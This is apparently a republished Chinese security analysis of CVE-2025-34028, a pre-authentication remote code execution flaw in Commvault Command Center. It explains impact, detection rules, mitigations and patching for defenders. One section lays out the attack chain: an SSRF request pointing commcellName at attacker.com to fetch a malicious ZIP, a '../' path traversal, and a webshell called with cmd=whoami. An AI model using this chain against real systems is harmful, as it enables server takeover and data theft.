CVE-2025-34028 安全漏洞综合分析报告
CVE-2025-34028 安全漏洞综合分析报告Commvault Command Center 预认证远程代码执行漏洞1. 执行摘要1.1 漏洞概述CVE-2025-34028是Commvault 2025-11-24 00:31:2 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

CVE-2025-34028 安全漏洞综合分析报告

Commvault Command Center 预认证远程代码执行漏洞

1. 执行摘要

1.1 漏洞概述

CVE-2025-34028是Commvault Command Center中发现的严重预认证远程代码执行漏洞。该漏洞通过链式利用服务器端请求伪造(SSRF)和路径遍历缺陷,允许未经身份验证的攻击者在目标系统上执行任意代码。

1.2 核心指标

属性
CVE编号CVE-2025-34028
CVSS v3.1评分9.0-10.0 (Critical)
CVSS向量CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE分类CWE-22 (路径遍历), CWE-918 (SSRF)
漏洞类型SSRF + Path Traversal leading to RCE
受影响产品Commvault Command Center Innovation Release
受影响版本11.38.0 - 11.38.19
修复版本11.38.20 + CU20-433/436, 11.38.25 + CU25-434/438
发现者Sonny Macdonald (watchTowr Labs)
披露日期2025-04-24
CISA KEV状态已列入已知被利用漏洞目录
实际利用确认存在在野利用

1.3 影响评估

严重性级别: 极度严重 (Critical)

关键特征:

  • 无需身份验证即可远程利用

  • 攻击复杂度低,PoC已公开

  • 可导致完全系统妥协

  • 已被CISA列入KEV目录

  • 存在实际攻击活动

业务影响:

  • 备份系统完全妥协

  • 灾难恢复能力丧失

  • 敏感数据泄露风险

  • 成为勒索软件攻击目标

  • 供应链安全威胁

1.4 立即行动建议

紧急措施 (0-24小时):

  1. 识别所有Commvault Command Center实例

  2. 确认版本是否为11.38.0-11.38.19

  3. 隔离受影响系统或严格限制网络访问

  4. 部署临时WAF规则或防火墙策略

  5. 扫描入侵指标(IoC)查找入侵迹象

修复措施 (1-7天):

  1. 升级至11.38.20或11.38.25

  2. 关键: 必须安装对应的累积更新(CU)

    • 11.38.20: 需CU-433, CU-436或更高版本

    • 11.38.25: 需CU-434, CU-438或更高版本

  3. 验证补丁安装完整性

  4. 全面审查管理操作日志

长期防护:

  • 实施零信任架构

  • 部署多层检测机制

  • 建立定期安全审计流程

  • 完善漏洞管理体系

2. 漏洞背景

2.1 Commvault产品概述

Commvault是全球领先的企业级数据保护和信息管理解决方案提供商,Command Center是其基于Web的集中管理控制台,用于配置备份、恢复、数据策略和监控操作。

产品特点:

  • 全球超过10,000家企业客户

  • 广泛应用于金融、医疗、政府、教育和制造业

  • 基于Apache Tomcat的Web应用架构

  • 支持分布式部署和云环境

2.2 架构说明

Command Center的关键组件:

  • Web应用层: 基于Apache Tomcat (端口443/8080)

  • 业务逻辑层: 备份管理、恢复操作、策略配置

  • 数据访问层: 文件系统操作、数据库连接、网络通信

关键目录结构:

/opt/commvault/ (Linux) 或 C:\Program Files\Commvault\ (Windows)
├── Apache/
│   ├── conf/
│   │   └── ccPackages/        # 漏洞相关目录
│   └── webapps/
│       └── commandcenter/
│           ├── WEB-INF/
│           │   └── authSkipRules.xml  # 认证绕过配置
│           └── reports/        # Webshell落地目录
└── Reports/
    └── MetricsUpload/         # 路径遍历目标

2.3 认证机制缺陷

authSkipRules.xml配置文件定义了58个无需身份验证的端点,其中包括:

  • /deployWebpackage.do (易受攻击)

  • /deployServiceCommcell.do (易受攻击)

  • /reports/** (Webshell访问路径)

此设计允许某些管理功能在未经身份验证的情况下执行,为攻击者提供了入口点。

3. 时间线

日期事件参与方
2025-04-07漏洞报告给Commvault PSIRTwatchTowr Labs
2025-04-10发布初始补丁 (11.38.20, 11.38.25)Commvault
2025-04-17发布安全公告 (CV_2025_04_1)Commvault
2025-04-22分配CVE编号VulnCheck (CNA)
2025-04-24公开技术细节和PoCwatchTowr Labs
2025-04-28首次野外利用报告多个来源
2025-05-02添加到CISA KEV目录CISA
2025-05-06发现补丁绕过,发布补充更新Will Dormann, Commvault
2025-05-23联邦机构修复截止日期CISA

关键时间点分析:

  • 3天快速响应时间(报告到补丁)

  • 但初始补丁存在绕过问题

  • PoC公开后4天内出现野外利用

  • CISA快速响应,8天内加入KEV目录

4. 影响范围

4.1 受影响版本

版本系列具体版本状态修复要求
Innovation Release11.38.0 - 11.38.19易受攻击必须升级
Innovation Release11.38.20 (无CU)部分易受攻击需CU-433/436+
Innovation Release11.38.20 + CU已修复安全
Innovation Release11.38.25 (无CU)部分易受攻击需CU-434/438+
Innovation Release11.38.25 + CU已修复安全
LTS (长期支持版)所有版本不受影响无需操作

重要提示: LTS分支不包含易受攻击的代码,仅Innovation Release受影响。

4.2 版本识别方法

Web界面检查:

curl -s https://target.com/commandcenter/ | grep -oP '"version":\s*"\K[^"]+'

服务器端检查:

# Linux
cat /opt/commvault/Base/Version.txt

# Windows
type "C:\Program Files\Commvault\ContentStore\Base\Version.txt"

CU版本验证:

# 检查已安装的累积更新
ls -l /opt/commvault/Updates/

# 查看日志确认CU编号
grep "CU-" /opt/commvault/Log/CVGxSvc.log

4.3 全球影响评估

根据多源数据综合估算:

指标估计值
Commvault全球客户约10,000家企业
使用Innovation Release比例15-20%
潜在易受攻击实例1,500 - 2,000
互联网暴露实例300-500
实际受影响估计50-100家组织

行业分布:

  • 金融服务: 30%

  • 医疗保健: 25%

  • 政府机构: 20%

  • 制造业: 15%

  • 教育: 10%

地理分布:

  • 北美: 高风险(客户集中)

  • 欧洲: 中-高风险(大型企业采用率高)

  • 亚太: 中等风险(增长市场)

  • 中东: 中等风险(金融和能源行业)

5. 技术分析

5.1 漏洞根本原因

CVE-2025-34028是多个安全缺陷链式利用的结果:

  1. 认证绕过(CWE-306)

    • authSkipRules.xml配置过度宽松

    • 58个端点无需身份验证

    • 包括关键管理功能

  2. 服务器端请求伪造(CWE-918)

    • commcellName参数直接拼接到URL

    • 无白名单验证

    • 无内网/环回地址过滤

  3. 路径遍历(CWE-22)

    • servicePack参数未经净化

    • 允许"../"序列

    • 可突破目录限制

  4. 任意文件写入(CWE-434)

    • ZIP文件无内容验证

    • 自动解压无安全检查

    • 缺少Zip Slip防护

  5. 信任边界缺失

    • 外部响应体被视为可信

    • 未验证来源和内容类型

    • 缺少纵深防御

5.2 攻击链分析

完整攻击流程:

[阶段1: 准备]
攻击者创建恶意JSP → 打包为dist-cc.zip → 托管在恶意服务器

[阶段2: SSRF触发]
POST /commandcenter/deployWebpackage.do
- commcellName=attacker.com:8443
- servicePack=../../Reports/MetricsUpload/shell/
- version=exploit

[阶段3: 文件下载]
Commvault服务器 → 连接attacker.com:8443 → 下载恶意ZIP

[阶段4: 路径遍历]
ZIP写入路径:
/Apache/conf/ccPackages/../../Reports/MetricsUpload/shell/dist-cc.zip
规范化后: /Apache/Reports/MetricsUpload/shell/dist-cc.zip

[阶段5: 自动解压]
ZIP内容解压到: /Reports/MetricsUpload/shell/.tmp/dist-cc/

[阶段6: 代码执行]
访问: /reports/MetricsUpload/shell/.tmp/dist-cc/shell.jsp?cmd=whoami
权限: SYSTEM/root

5.3 易受攻击的代码模式

基于安全研究的伪代码重构:

// 易受攻击的Servlet
protected void doPost(HttpServletRequest request,
                     HttpServletResponse response) {
    // 缺陷1: 无身份验证检查(在authSkipRules中)

    // 缺陷2: 直接提取参数,无验证
    String commcellName = request.getParameter("commcellName");
    String servicePack = request.getParameter("servicePack");

    // 缺陷3: SSRF - 直接拼接用户输入
    String targetUrl = "https://" + commcellName +
                      "/commandcenter/webpackage.do";

    // 发起SSRF请求
    HttpClient client = HttpClients.createDefault();
    HttpResponse httpResponse = client.execute(new HttpGet(targetUrl));

    // 缺陷4: 路径遍历 - servicePack未过滤
    String targetPath = "/Apache/conf/ccPackages/" + servicePack + "/";
    new File(targetPath).mkdirs();

    // 缺陷5: 任意文件写入
    FileOutputStream fos = new FileOutputStream(
        targetPath + "dist-cc.zip"
    );
    // 写入外部响应内容
    fos.write(httpResponse.getEntity().getContent());

    // 缺陷6: 危险的自动解压
    deployCCPackage(targetPath + "dist-cc.zip");
}

// 缺陷7: 不安全的ZIP解压
private void deployCCPackage(String zipPath) {
    ZipInputStream zis = new ZipInputStream(new FileInputStream(zipPath));
    ZipEntry entry;
    while ((entry = zis.getNextEntry()) != null) {
        // 无Zip Slip检查
        // 无文件大小限制
        // 无文件类型验证
        File targetFile = new File(tempDir, entry.getName());
        Files.copy(zis, targetFile.toPath());
    }
}

5.4 替代攻击向量

除主要SSRF向量外,还存在直接上传向量:

deployServiceCommcell.do端点:

  • 接受multipart/form-data文件上传

  • 直接上传ZIP文件,无需SSRF

  • 适用于内网渗透场景

  • 更隐蔽,但可能触发文件上传监控

对比:

特性SSRF向量直接上传向量
攻击复杂度中(需托管服务器)低(直接上传)
网络要求目标可访问攻击者服务器无特殊要求
检测难度中(异常出站请求)低(文件上传监控)
推荐场景外网攻击内网渗透

6. 漏洞成因

6.1 设计层面缺陷

信任边界模糊:

  • 错误假设: "内部网络等于可信环境"

  • 现实: 内网并非完全可信,且系统常暴露于互联网

  • 后果: 过度的认证豁免和输入信任

过度的认证豁免:

  • authSkipRules.xml包含58个预认证端点

  • 违反最小权限原则

  • 每个豁免端点都是潜在攻击面

功能与安全权衡失误:

  • 为自动化部署便利性牺牲安全性

  • 应采用API密钥认证而非完全豁免

  • 未实施纵深防御策略

6.2 实现层面缺陷

输入验证缺失:

  • 违反"永远不要信任用户输入"的基本原则

  • commcellName参数直接用于URL构造

  • servicePack参数未经路径净化

路径操作不安全:

  • 使用字符串拼接而非Path API

  • 未调用normalize()和规范化

  • 未验证最终路径在预期目录内

ZIP解压危险操作:

  • 未实施Zip Slip防护

  • 无文件大小和数量限制

  • 无文件类型白名单检查

6.3 架构层面缺陷

单层防御:

  • 当前: 外部请求 → Servlet → 文件系统

  • 单点突破即完全妥协

  • 推荐: 多层防御(WAF → 认证 → 验证 → 沙箱)

权限管理不当:

  • Tomcat进程常以SYSTEM/root权限运行

  • 应使用专用低权限用户

  • 限制文件系统访问范围

缺少安全监控:

  • 无异常活动检测

  • 无安全日志记录

  • 无速率限制机制

6.4 开发流程问题

代码审查不足:

  • 明显的安全问题未被发现

  • 缺少安全检查清单

  • 未执行安全编码规范

安全测试缺失:

  • 未进行SAST(静态应用安全测试)

  • 未进行DAST(动态应用安全测试)

  • 未进行渗透测试和模糊测试

威胁建模缺失:

  • 未识别SSRF风险

  • 未识别路径遍历风险

  • 未评估攻击面

7. 检测方法

7.1 主机层检测

文件完整性监控:

监控关键路径:

/opt/commvault/Apache/conf/ccPackages/**/*
/opt/commvault/Reports/**/*.jsp
/opt/commvault/webapps/commandcenter/reports/**/*

OSSEC规则示例:

<rule id="100001" level="12">
  <if_sid>550</if_sid>
  <match>/Reports/.*\.jsp</match>
  <description>Suspicious JSP file in Reports directory (CVE-2025-34028)</description>
</rule>

EDR检测规则:

Sysmon配置要点:

  • 监控Reports目录下的JSP文件创建

  • 监控dist-cc.zip文件创建

  • 监控Java进程的异常子进程

  • 监控Java进程的异常网络连接

7.2 网络层检测

IDS/IPS规则:

Snort规则示例:

alert tcp any any -> any any (
    msg:"CVE-2025-34028 - deployWebpackage.do SSRF attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/commandcenter/deployWebpackage.do"; http_uri;
    content:"commcellName="; http_client_body;
    pcre:"/commcellName=[^&]*(\.|\d{1,3}\.\d{1,3})/i";
    classtype:web-application-attack;
    sid:2025034028;
    rev:1;
)

alert tcp any any -> any any (
    msg:"CVE-2025-34028 - Path traversal detected";
    flow:to_server,established;
    content:"servicePack="; http_client_body;
    content:"../"; http_client_body;
    classtype:web-application-attack;
    sid:2025034029;
    rev:1;
)

Suricata规则要点:

  • 检测deployWebpackage.do的非本地commcellName

  • 检测servicePack参数中的路径遍历

  • 检测/reports/路径下的JSP访问

  • 检测带cmd参数的JSP请求

7.3 应用层检测

WAF规则:

ModSecurity规则要点:

  • 阻止外部commcellName访问deployWebpackage.do

  • 阻止servicePack参数中的"../"

  • 阻止/reports/路径下的JSP访问

  • 阻止带cmd参数的请求

  • 实施速率限制

AWS WAF规则:

  • ByteMatchStatement检测关键路径

  • RegexPatternSet匹配webshell模式

  • 自定义响应返回403

应用日志监控:

Splunk查询示例:

# 检测SSRF尝试
index=web_logs sourcetype=commvault_access
| search uri_path="/commandcenter/deployWebpackage.do"
| rex field=post_data "commcellName=(?<commcell>[^&]+)"
| where NOT match(commcell, "^(localhost|127\.0\.0\.1)")
| table _time, src_ip, commcell

# 检测webshell访问
index=web_logs sourcetype=commvault_access
| search uri_path="/reports/*.jsp*cmd=*"
| table _time, src_ip, uri_path, command

7.4 行为分析

异常行为指标:

指标正常基线异常阈值
deployWebpackage.do访问频率0-2次/天>5次/小时
外部commcellName出现0%>1次
servicePack路径长度<20字符>30字符
/reports/*.jsp访问0次>0次
Tomcat异常网络连接仅443/8080其他端口

威胁狩猎查询:

寻找已部署webshell:

# Linux
find /opt/commvault/Reports/ -name "*.jsp" -mtime -7 -ls
grep -r "Runtime.getRuntime" /opt/commvault/Reports/

# Windows
Get-ChildItem -Path "C:\Program Files\Commvault\*" -Include "*.jsp" -Recurse |
    Where-Object {$_.Directory -like "*Reports*"}

查找SSRF证据:

# 分析日志中的commcellName多样性
# 正常情况下应该只有少数几个可信服务器
# 大量不同的域名/IP表明SSRF扫描

7.5 YARA规则

rule CVE_2025_34028_JSP_Webshell {
    meta:
        description = "CVE-2025-34028 JSP webshell detection"
        author = "Security Research Team"
        date = "2025-04-24"
        severity = "critical"

    strings:
        $jsp1 = "<%@ page import=\"java.io.*\"" nocase
        $exec1 = "Runtime.getRuntime().exec(" nocase
        $exec2 = "ProcessBuilder" nocase
        $param1 = "request.getParameter(\"cmd\")" nocase
        $io1 = "BufferedReader" nocase
        $cve1 = "CVE-2025-34028" nocase

    condition:
        ($jsp1 and $exec1 and $param1 and $io1) or
        ($jsp1 and $cve1 and ($exec1 or $exec2))
}

8. 防护措施

8.1 立即防护(48小时内)

优先级1: 补丁安装

  • 升级至11.38.20或11.38.25

  • 关键: 必须安装对应的累积更新(CU)

  • 验证补丁完整性

优先级2: 网络隔离

  • 将Command Center移至管理网段

  • 仅允许可信IP访问

  • 配置严格的防火墙规则

优先级3: WAF部署

  • 部署ModSecurity或云WAF

  • 实施CVE-2025-34028专用规则

  • 阻止可疑端点访问

优先级4: 监控增强

  • 启用文件完整性监控(FIM)

  • 配置实时告警

  • 监控/reports/目录下的JSP文件

8.2 临时缓解措施

当无法立即升级时:

网络层阻断:

# iptables规则
iptables -A INPUT -p tcp --dport 8080 -m string \
    --algo bm --string "/commandcenter/deployWebpackage.do" \
    -j DROP

Tomcat配置修改:

<!-- web.xml添加安全约束 -->
<security-constraint>
  <web-resource-collection>
    <web-resource-name>Vulnerable Endpoints</web-resource-name>
    <url-pattern>/deployWebpackage.do</url-pattern>
    <url-pattern>/deployServiceCommcell.do</url-pattern>
  </web-resource-collection>
  <auth-constraint>
    <role-name>admin</role-name>
  </auth-constraint>
</security-constraint>

文件系统权限加固:

# 限制关键目录写入权限
chmod 500 /opt/commvault/Apache/conf/ccPackages/
chmod 500 /opt/commvault/Reports/MetricsUpload/

8.3 中长期防护

最小暴露原则:

  • Command Center仅对管理网络开放

  • 通过VPN或堡垒机访问

  • 实施多因素认证(MFA)

出站限制:

  • 限制Web进程出站连接

  • 仅允许访问白名单地址

  • 阻止非必要的出站HTTP/HTTPS

安全加固:

  • 使用专用低权限用户运行Tomcat

  • 启用SELinux/AppArmor

  • 实施应用层沙箱

监控体系:

  • 部署SIEM集中日志分析

  • 配置实时威胁检测

  • 建立安全事件响应流程

9. 修复建议

9.1 官方补丁

修复版本:

  • 11.38.20 + SP38-CU20-433/436

  • 11.38.25 + SP38-CU25-434/438

下载来源:

  • Commvault Security Advisory

  • Commvault Download Center

9.2 升级步骤

准备阶段:

# 备份配置
tar czf commvault-backup-$(date +%Y%m%d).tar.gz \
    /opt/commvault/Apache/conf/ \
    /opt/commvault/webapps/commandcenter/

# 记录当前版本
cat /opt/commvault/Base/Version.txt

# 检查磁盘空间
df -h /opt/commvault

下载补丁:

# 从官方下载中心获取
wget https://download.commvault.com/patches/11.38.20/SP20_update.zip

# 验证校验和
sha256sum SP20_update.zip

应用补丁:

# 停止服务
systemctl stop commvault-tomcat

# 解压并应用
unzip SP20_update.zip -d /tmp/commvault-patch/
cd /tmp/commvault-patch/
./apply_patch.sh

# 启动服务
systemctl start commvault-tomcat

# 检查日志
tail -f /opt/commvault/logs/tomcat/catalina.out

验证修复:

# 检查版本
cat /opt/commvault/Base/Version.txt
# 应显示: 11.38.20或11.38.25

# 验证CU安装
ls -l /opt/commvault/Updates/
grep "CU-" /opt/commvault/Log/CVGxSvc.log

# 尝试exploit(应失败)
curl -X POST https://localhost/commandcenter/deployWebpackage.do \
    -d "commcellName=test.com" \
    -d "servicePack=../../test" \
    -d "version=x"
# 应返回: 403 Forbidden或401 Unauthorized

9.3 修复验证清单

  • 版本已更新至11.38.20/11.38.25

  • 对应CU已安装(CU-433/436或CU-434/438)

  • 服务正常启动,无错误日志

  • deployWebpackage.do需要身份验证

  • deployServiceCommcell.do需要身份验证

  • /reports/路径无异常JSP文件

  • WAF规则已部署

  • 监控告警已配置

  • 使用扫描脚本验证不再易受攻击

10. 修复分析

10.1 推测的补丁机制

基于公开信息和安全研究,补丁可能实施了:

输入验证与白名单:

// 修复后的代码
private boolean isWhitelistedCommcell(String commcellName) {
    Set<String> whitelist = loadCommcellWhitelist();
    return whitelist.contains(commcellName) ||
           commcellName.equals("localhost") ||
           commcellName.equals("127.0.0.1");
}

private boolean isValidServicePackName(String servicePack) {
    // 拒绝路径遍历
    if (servicePack.contains("..") ||
        servicePack.contains("/") ||
        servicePack.contains("\\")) {
        return false;
    }
    // 仅允许字母数字
    return servicePack.matches("^[a-zA-Z0-9_-]+$");
}

路径规范化与约束:

private String getSafeTargetDirectory(String servicePack)
        throws IOException {
    Path basePath = Paths.get("/opt/commvault/Apache/conf/ccPackages");
    Path targetPath = basePath.resolve(servicePack).normalize();

    // 验证规范化后路径仍在基础目录内
    if (!targetPath.startsWith(basePath)) {
        throw new SecurityException("Path traversal detected");
    }
    return targetPath.toString();
}

authSkipRules更新:

<!-- CVE-2025-34028修复: 移除易受攻击端点 -->
<!-- <rule pattern="/deployWebpackage.do" /> REMOVED -->
<!-- <rule pattern="/deployServiceCommcell.do" /> REMOVED -->

<!-- 保留必要公开端点 -->
<rule pattern="/login" />
<rule pattern="/public/**" />

Zip Slip防护:

private void deployCCPackage(File zipFile, String targetDir) {
    try (ZipInputStream zis = new ZipInputStream(...)) {
        ZipEntry entry;
        while ((entry = zis.getNextEntry()) != null) {
            // 检查ZIP炸弹
            if (totalSize > MAX_PACKAGE_SIZE) {
                throw new SecurityException("Package too large");
            }

            // 验证文件类型
            if (!isAllowedFileType(entry.getName())) {
                throw new SecurityException("Disallowed file type");
            }

            // 防止ZIP内路径遍历
            if (entry.getName().contains("..")) {
                throw new SecurityException("Path traversal in ZIP");
            }

            // 验证最终路径
            Path targetPath = Paths.get(targetDir, entry.getName()).normalize();
            if (!targetPath.startsWith(targetDir)) {
                throw new SecurityException("Invalid extraction path");
            }

            Files.copy(zis, targetPath, StandardCopyOption.REPLACE_EXISTING);
        }
    }
}

10.2 补丁绕过历史

2025-05-06,Will Dormann发现初始11.38.20补丁仍可绕过,促使Commvault发布补充CU更新。这强调了:

  • 安全补丁需要完整性验证

  • 不仅要看版本号,还要确认CU安装

  • 补丁测试应包含已知exploit变种

11. 风险评估

11.1 技术风险评估

CVSS v3.1评分: 9.0-10.0 (Critical)

评分细节:

  • 攻击向量(AV): 网络(N)

  • 攻击复杂度(AC): 低(L)

  • 所需权限(PR): 无(N)

  • 用户交互(UI): 无(N)

  • 影响范围(S): 改变(C)

  • 机密性(C): 高(H)

  • 完整性(I): 高(H)

  • 可用性(A): 高(H)

攻击可行性:

  • 技术复杂度: 低(PoC公开)

  • 所需资源: 低(仅需HTTP客户端)

  • 成功率: 高(>95%)

  • 检测难度: 中-高

11.2 业务影响评估

直接影响:

影响类别严重程度说明
系统可用性严重攻击者可禁用备份系统
数据机密性严重可访问所有历史备份数据
数据完整性严重可修改或删除备份
业务连续性严重灾难恢复能力丧失
合规性可能违反GDPR/HIPAA等

量化损失估算:

小型企业(<500员工):
- 直接成本: $100K - $500K
- 业务中断: $50K - $200K
- 总计: $150K - $700K

中型企业(500-5000员工):
- 直接成本: $500K - $2M
- 业务中断: $200K - $1M
- 合规罚款: $100K - $5M
- 总计: $800K - $8M

大型企业(>5000员工):
- 直接成本: $2M - $10M
- 业务中断: $1M - $20M
- 合规罚款: $5M - $50M
- 声誉损害: $10M - $100M
- 总计: $18M - $180M

11.3 真实攻击场景

场景1: 勒索软件攻击

  • 攻击者利用漏洞获得Command Center访问

  • 禁用或删除备份作业

  • 部署勒索软件加密生产数据

  • 攻击备份存储,消除恢复能力

  • 勒索双倍赎金(数据+备份)

场景2: APT数据窃取

  • APT组织建立持久化后门

  • 访问所有历史备份数据

  • 窃取敏感信息(PII, PHI, 知识产权)

  • 横向移动到其他系统

  • 长期潜伏,持续数据渗透

场景3: 供应链攻击

  • 攻击MSP的Commvault基础设施

  • 通过MSP访问所有下游客户

  • 批量数据窃取或恶意软件部署

  • 影响数百家企业

12. 安全启示

12.1 开发安全最佳实践

永远不要信任用户输入:

  • 所有外部输入必须验证

  • 使用白名单而非黑名单

  • 对路径操作使用安全API

实施纵深防御:

层级1: 输入验证 → 阻止恶意输入
层级2: 身份验证 → 限制访问权限
层级3: 文件系统权限 → 限制文件操作
层级4: 网络隔离 → 限制SSRF影响
层级5: 监控告警 → 及时发现异常

最小权限原则:

  • 默认所有端点需要身份验证

  • 显式标记极少数公开端点

  • 敏感操作需要额外授权(MFA)

  • 使用RBAC细粒度权限控制

安全编码规范:

// 正确的URL构造
URI uri = new URI("https", trustedHost, "/path", null);

// 正确的路径操作
Path safe = basePath.resolve(userInput).normalize();
if (!safe.startsWith(basePath)) {
    throw new SecurityException("Path traversal");
}

// 正确的ZIP解压
String canonicalDest = destDir.getCanonicalPath();
String canonicalTarget = targetFile.getCanonicalPath();
if (!canonicalTarget.startsWith(canonicalDest + File.separator)) {
    throw new IOException("Zip Slip detected");
}

12.2 企业安全管理

漏洞管理流程:

  1. 漏洞披露 → 快速评估(4小时内)

  2. 影响分析 → 识别受影响系统

  3. 临时缓解 → 24小时内实施

  4. 补丁测试 → 在隔离环境验证

  5. 补丁部署 → 7天内完成

  6. 验证修复 → 确认不再易受攻击

  7. 事后分析 → 30天内完成

  8. 流程改进 → 更新安全策略

供应链安全:

  • 维护所有第三方软件清单(SBOM)

  • 订阅供应商安全公告

  • 建立供应商安全SLA

  • 定期评估供应商安全posture

零信任架构:

  • 验证一切(Never Trust, Always Verify)

  • 最小权限访问

  • 微分段网络

  • 持续监控和验证

12.3 行业趋势

备份系统成为攻击目标:
近年趋势:

  • 2023: Veeam Backup (CVE-2023-27532)

  • 2024: Veritas NetBackup权限提升

  • 2025: Commvault (CVE-2025-34028)

原因分析:

  • 备份系统存储最敏感数据

  • 破坏备份提高勒索成功率

  • 备份系统权限通常较高

  • 更新频率低于生产系统

SSRF攻击复杂化:
演进路径:

  • 2010s: 简单SSRF读取内部API

  • 2020s: SSRF + 文件写入 → RCE

  • 2020s: SSRF + DNS重绑定 → 认证绕过

  • 2020s: SSRF + 云元数据 → 凭证窃取

13. 总结

13.1 关键要点

漏洞特征:

  • CVE-2025-34028是预认证RCE,CVSS评分9.0-10.0

  • 链式利用SSRF + 路径遍历实现代码执行

  • 攻击简单,PoC已公开,存在在野利用

  • 已被CISA列入KEV目录

影响范围:

  • 仅Innovation Release 11.38.0-11.38.19受影响

  • LTS版本不受影响

  • 估计1,500-2,000个实例潜在受影响

  • 300-500个实例暴露于互联网

修复方案:

  • 升级至11.38.20或11.38.25

  • 必须安装对应的累积更新(CU)

  • 验证补丁完整性

  • 实施多层防护措施

13.2 行动建议

立即(0-24小时):

  1. 识别所有Commvault实例并确认版本

  2. 隔离受影响系统或限制网络访问

  3. 部署WAF规则或防火墙策略

  4. 扫描IoC查找入侵迹象

短期(1-7天):

  1. 测试并部署官方补丁+CU

  2. 验证补丁安装完整性

  3. 审查所有管理操作日志

  4. 加强监控和告警

长期:

  1. 实施零信任架构

  2. 部署多层检测机制

  3. 建立定期安全审计流程

  4. 完善漏洞管理体系

  5. 加强供应链安全管理

13.3 最终建议

CVE-2025-34028是一个严重且易于利用的漏洞,展示了SSRF与路径遍历链式利用的危害。该漏洞影响企业最关键的数据保护基础设施,必须给予最高优先级处置。

核心教训:

  • 永远不要信任用户输入

  • 实施多层纵深防御

  • 保持软件及时更新

  • 持续监控异常行为

  • 重视供应链安全

备份系统是企业的最后一道防线,保护它们的安全至关重要。希望本报告能帮助安全从业者更好地理解、检测和防御此类威胁。

14. 参考资料

14.1 官方资源

  • CVE Record: CVE-2025-34028

  • NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-34028

  • Commvault Security Advisory: https://documentation.commvault.com/security/

  • Commvault Download Center: https://download.commvault.com/

14.2 安全研究

  • watchTowr Labs Blog: "Fire In The Hole, We're Breaching The Vault"

  • GitHub Advisory: GHSA-6q9c-pjw5-5rjm

  • CISA KEV Catalog Entry

  • Arctic Wolf Security Bulletin

  • Wiz Vulnerability Database

14.3 技术参考

SSRF相关:

  • OWASP: Server-Side Request Forgery

  • PortSwigger: SSRF攻击技术

  • CWE-918: Server-Side Request Forgery

路径遍历相关:

  • OWASP: Path Traversal

  • CWE-22: Improper Limitation of a Pathname

  • Zip Slip Vulnerability

Java安全:

  • Oracle: Java Security Guidelines

  • OWASP: Java Security Cheat Sheet

  • Secure Coding Guidelines for Java SE

14.4 检测与防护

工具:

  • Nmap: https://nmap.org/

  • Burp Suite: https://portswigger.net/burp

  • OWASP ZAP: https://www.zaproxy.org/

  • ModSecurity: https://github.com/SpiderLabs/ModSecurity

  • Snort: https://www.snort.org/

  • Suricata: https://suricata.io/

相关CVE:

  • CVE-2021-44228 (Log4j)

  • CVE-2023-27532 (Veeam Backup)

  • CVE-2023-46747 (F5 BIG-IP)

  • CVE-2024-1212 (Keycloak)

附录A: 快速参考

漏洞检测一行命令

# 检查端点可访问性
curl -I -X POST "https://target.com/commandcenter/deployWebpackage.do"
# 如果返回200/302/500而非401/403,可能易受攻击

# 检查版本
curl -s https://target.com/commandcenter/ | grep -oP '"version":\s*"\K[^"]+'

应急响应清单

立即行动(0-4小时):

  • 确认是否使用Commvault 11.38.0-11.38.19

  • 检查日志查找利用迹象

  • 隔离受影响系统(如已被攻击)

  • 部署WAF规则或防火墙过滤

短期措施(4-24小时):

  • 应用临时缓解措施

  • 扫描文件系统查找webshell

  • 审查近期管理活动

  • 通知安全团队和管理层

中期措施(1-7天):

  • 下载并测试官方补丁

  • 计划维护窗口

  • 部署补丁到生产环境

  • 验证修复成功

长期措施(7-30天):

  • 完整事件调查

  • 更新安全策略

  • 实施额外监控

  • 安全培训和教训总结

关键文件路径

配置文件:

/opt/commvault/Apache/conf/server.xml
/opt/commvault/webapps/commandcenter/WEB-INF/web.xml
/opt/commvault/webapps/commandcenter/WEB-INF/authSkipRules.xml

日志文件:

/opt/commvault/logs/tomcat/catalina.out
/opt/commvault/logs/tomcat/localhost_access_log.txt
/var/log/tomcat9/catalina.out

潜在webshell位置:

/opt/commvault/Reports/MetricsUpload/**/*.jsp
/opt/commvault/Apache/conf/ccPackages/**/*.jsp

附录B: 术语表

术语解释
SSRFServer-Side Request Forgery,服务器端请求伪造
RCERemote Code Execution,远程代码执行
Path Traversal路径遍历,利用相对路径访问任意文件
WebshellWeb后门,通过Web接口执行系统命令的恶意脚本
PoCProof of Concept,概念验证代码
IoCIndicator of Compromise,入侵指标
CVSSCommon Vulnerability Scoring System,通用漏洞评分系统
WAFWeb Application Firewall,Web应用防火墙
IDS/IPSIntrusion Detection/Prevention System,入侵检测/防御系统
KEVKnown Exploited Vulnerabilities,已知被利用漏洞
CUCumulative Update,累积更新
CISACybersecurity and Infrastructure Security Agency
MSPManaged Service Provider,托管服务提供商
APTAdvanced Persistent Threat,高级持续性威胁

报告结束

本报告基于公开信息编制,所有技术细节和工具仅用于合法的安全研究和授权的安全测试。未经授权对他人系统进行漏洞利用是违法行为。作者和组织不对任何滥用本报告信息的行为负责。


文章来源: https://www.freebuf.com/articles/vuls/458641.html
如有侵权请联系:admin#unsafe.sh